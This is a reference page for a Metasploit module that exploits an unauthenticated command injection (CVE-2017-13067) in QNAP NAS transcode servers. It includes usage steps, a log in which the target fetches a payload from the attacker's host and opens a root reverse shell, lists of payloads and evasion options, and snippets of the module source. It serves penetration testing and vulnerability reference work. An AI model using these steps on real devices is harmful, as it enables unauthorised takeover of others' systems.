QNAP Transcode Server Command Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/misc/qnap_transcode_server metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: QNAP Transcode Server Command Execution
Module: exploit/linux/misc/qnap_transcode_server
Source code: modules/exploits/linux/misc/qnap_transcode_server.rb
Disclosure date: 2017-08-06
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): armle
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): 9251
List of CVEs: CVE-2017-13067
This module exploits an unauthenticated remote command injection vulnerability in QNAP NAS devices. The transcoding server listens on port 9251 by default and is vulnerable to command injection using the 'rmfile' command. This module was tested successfully on a QNAP TS-431 with firmware version 4.3.3.0262 (20170727).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/misc/qnap_transcode_server
msf exploit(qnap_transcode_server) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module exploits an unauthenticated remote command injection vulnerability in QNAP NAS devices. The transcoding server listens on port 9251 by default and is vulnerable to command injection using the 'rmfile' command.
Vulnerable Application
QNAP designs and delivers high-quality network attached storage (NAS) and professional network video recorder (NVR) solutions to users from home, SOHO to small, medium businesses.
This module was tested successfully on a QNAP TS-431 with firmware version 4.3.3.0262 (20170727).
Verification Steps
- Start
msfconsole
- Do:
use exploit/linux/misc/qnap_transcode_server
- Do:
set RHOST [IP]
- Do:
set LHOST [IP]
- Do:
run
- You should get a session
Options
Delay
How long to wait (in seconds) for the device to download the payload.
Scenarios
msf > use exploit/linux/misc/qnap_transcode_server
msf exploit(qnap_transcode_server) > set rhost 10.1.1.123
rhost => 10.1.1.123
msf exploit(qnap_transcode_server) > check
[*] 10.1.1.123:9251 The target service is running, but could not be validated.
msf exploit(qnap_transcode_server) > set lhost 10.1.1.197
lhost => 10.1.1.197
msf exploit(qnap_transcode_server) > run
[*] Started reverse TCP handler on 10.1.1.197:4444
[*] 10.1.1.123:9251 - Using URL: http://0.0.0.0:8080/IQrgbm
[*] 10.1.1.123:9251 - Local IP: http://10.1.1.197:8080/IQrgbm
[*] 10.1.1.123:9251 - Sent command successfully (52 bytes)
[*] 10.1.1.123:9251 - Waiting for the device to download the payload (30 seconds)...
[*] 10.1.1.123:9251 - Sent command successfully (22 bytes)
[*] 10.1.1.123:9251 - Sent command successfully (13 bytes)
[*] Meterpreter session 1 opened (10.1.1.197:4444 -> 10.1.1.123:53888) at 2017-08-13 05:05:18 -0400
[*] 10.1.1.123:9251 - Sent command successfully (19 bytes)
[*] 10.1.1.123:9251 - Command Stager progress - 100.00% done (109/109 bytes)
[*] 10.1.1.123:9251 - Server stopped.
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 10.1.1.123
OS : (Linux 3.2.26)
Architecture : armv7l
Meterpreter : armle/linux
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Msfconsole Usage
Here is how the linux/misc/qnap_transcode_server exploit module looks in the msfconsole:
msf6 > use exploit/linux/misc/qnap_transcode_server
[*] Using configured payload linux/armle/meterpreter_reverse_tcp
msf6 exploit(linux/misc/qnap_transcode_server) > show info
Name: QNAP Transcode Server Command Execution
Module: exploit/linux/misc/qnap_transcode_server
Platform: Linux
Arch: armle
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-08-06
Provided by:
Zenofex
0x00string
bcoles <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 30 yes How long to wait for the device to download the payload
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 9251 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module exploits an unauthenticated remote command injection
vulnerability in QNAP NAS devices. The transcoding server listens on
port 9251 by default and is vulnerable to command injection using
the 'rmfile' command. This module was tested successfully on a QNAP
TS-431 with firmware version 4.3.3.0262 (20170727).
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-13067
https://www.exploitee.rs/index.php/QNAP_TS-131
http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm
Module Options
This is a complete list of options available in the linux/misc/qnap_transcode_server exploit:
msf6 exploit(linux/misc/qnap_transcode_server) > show options
Module options (exploit/linux/misc/qnap_transcode_server):
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 30 yes How long to wait for the device to download the payload
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 9251 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (linux/armle/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/misc/qnap_transcode_server exploit:
msf6 exploit(linux/misc/qnap_transcode_server) > show advanced
Module advanced options (exploit/linux/misc/qnap_transcode_server):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, wget, curl)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/armle/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/misc/qnap_transcode_server module can exploit:
msf6 exploit(linux/misc/qnap_transcode_server) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/qnap_transcode_server exploit:
msf6 exploit(linux/misc/qnap_transcode_server) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/armle/adduser normal No Linux Add User
4 payload/linux/armle/exec normal No Linux Execute Command
5 payload/linux/armle/meterpreter/bind_tcp normal No Linux Meterpreter, Bind TCP Stager
6 payload/linux/armle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
7 payload/linux/armle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
8 payload/linux/armle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
9 payload/linux/armle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
10 payload/linux/armle/shell/bind_tcp normal No Linux dup2 Command Shell, Bind TCP Stager
11 payload/linux/armle/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
12 payload/linux/armle/shell_bind_tcp normal No Linux Command Shell, Reverse TCP Inline
13 payload/linux/armle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/misc/qnap_transcode_server exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/misc/qnap_transcode_server) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No reply from server
Here is a relevant code snippet related to the "No reply from server" error message:
60: connect
61: sock.put "\x01\x00\x00\x00"
62: res = sock.get_once
63:
64: if res.blank?
65: vprint_status 'No reply from server'
66: return CheckCode::Safe
67: end
68:
69: vprint_status "Received response: #{res}"
70:
s request is accepted/
Here is a relevant code snippet related to the "s request is accepted/" error message:
66: return CheckCode::Safe
67: end
68:
69: vprint_status "Received response: #{res}"
70:
71: return CheckCode::Detected if res.to_s =~ /client's request is accepted/
72:
73: CheckCode::Safe
74: rescue ::Rex::ConnectionError
75: vprint_error 'Connection failed'
76: return CheckCode::Unknown
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
70:
71: return CheckCode::Detected if res.to_s =~ /client's request is accepted/
72:
73: CheckCode::Safe
74: rescue ::Rex::ConnectionError
75: vprint_error 'Connection failed'
76: return CheckCode::Unknown
77: ensure
78: disconnect
79: end
80:
Failed to connect to the transcode server
Here is a relevant code snippet related to the "Failed to connect to the transcode server" error message:
104: print_status "Waiting for the device to download the payload (#{datastore['DELAY']} seconds)..."
105: Rex.sleep datastore['DELAY']
106: end
107: end
108: rescue ::Rex::ConnectionError
109: fail_with Failure::Unreachable, 'Failed to connect to the transcode server'
110: ensure
111: disconnect
112: end
113:
114: def exploit
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11234 Merged Pull Request: revisionism
- #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
- #8827 Merged Pull Request: Add QNAP Transcode Server Command Execution exploit module
References
- CVE-2017-13067
- https://www.exploitee.rs/index.php/QNAP_TS-131
- http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm
See Also
Check also the following modules related to this module:
- exploit/linux/http/qnap_qcenter_change_passwd_exec
- auxiliary/gather/qnap_backtrace_admin_hash
- auxiliary/gather/qnap_lfi
- exploit/aix/local/xorg_x11_server
- exploit/linux/http/rancher_server
- exploit/multi/local/xorg_x11_suid_server
- exploit/multi/misc/java_jmx_server
- exploit/multi/misc/java_rmi_server
- exploit/windows/browser/yahoomessenger_server
- exploit/windows/ftp/xlink_server
- exploit/windows/misc/bigant_server
- exploit/windows/misc/hta_server
- exploit/windows/misc/mirc_privmsg_server
- exploit/windows/scada/codesys_web_server
- exploit/windows/scada/procyon_core_server
- exploit/linux/misc/ueb9_bpserverd
- exploit/linux/misc/zabbix_server_exec
- exploit/linux/http/klog_server_authenticate_user_unauth_command_injection
- exploit/linux/http/sourcegraph_gitserver_sshcmd
- exploit/linux/http/tr064_ntpserver_cmdinject
- exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc
- exploit/linux/local/ueb_bpserverd_privesc
Authors
- Zenofex
- 0x00string
- bcoles
Version
This page has been produced using Metasploit Framework version 6.2.9-dev. For more modules, visit the Metasploit Module Library.
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